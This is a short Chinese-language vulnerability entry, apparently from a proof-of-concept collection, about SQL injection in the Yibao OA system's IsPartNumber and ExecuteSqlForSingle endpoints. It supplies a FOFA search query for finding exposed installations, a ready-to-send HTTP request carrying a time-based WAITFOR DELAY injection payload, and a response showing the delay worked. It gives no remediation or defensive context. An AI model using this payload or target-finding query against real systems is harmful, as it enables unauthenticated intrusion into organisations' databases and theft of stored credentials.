

## Y6-5易宝-OA-SQL

### 漏洞描述:

易宝OA ExecuteSqlForSingle、IsPartNumber接口处存在SQL注入漏洞, 未经身份认证的攻击者可以通过此漏洞获取数据库敏感信息, 用户名密码等凭据, 进一步利用可获取服务器权限

### 网站图片:



### 网络测绘:

#### fofa语法:

FOFA: product="顶讯科技-易宝OA系统"

### 漏洞复现:

#### payload:

```
GET /SmartTradeScan/Inventory/IsPartNumber?StockRoomID=1&pn=2%27%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
```

#### 效果图:

延时5秒

Request	Responses
1 GET /SmartTradeScan/Inventory/IsPartNumber?StockRoomID=1&pn=2%27%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1	1 HTTP/1.1 200 OK
2 Host: your-ip	2 Cache-Control: private
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36	3 Content-Type: application/json; charset=
	4 Server: Microsoft-IIS/8.5
	5 X-AspNetMvc-Version: 4.0
	6 X-AspNet-Version: 4.0.30319
	7 X-Powered-By: ASP.NET
	8 Access-Control-Allow-Origin: *
	9 Access-Control-Max-Age: 30
	10 Access-Control-Allow-Methods: GET, POST, C
	11 Access-Control-Allow-Headers: Content-Ty
	12 Date: Fri, 01 Dec 2023 08:21:51 GMT
	13 Content-Length: 58
	14
	15 {"data":[],"code":0,"message":"success"}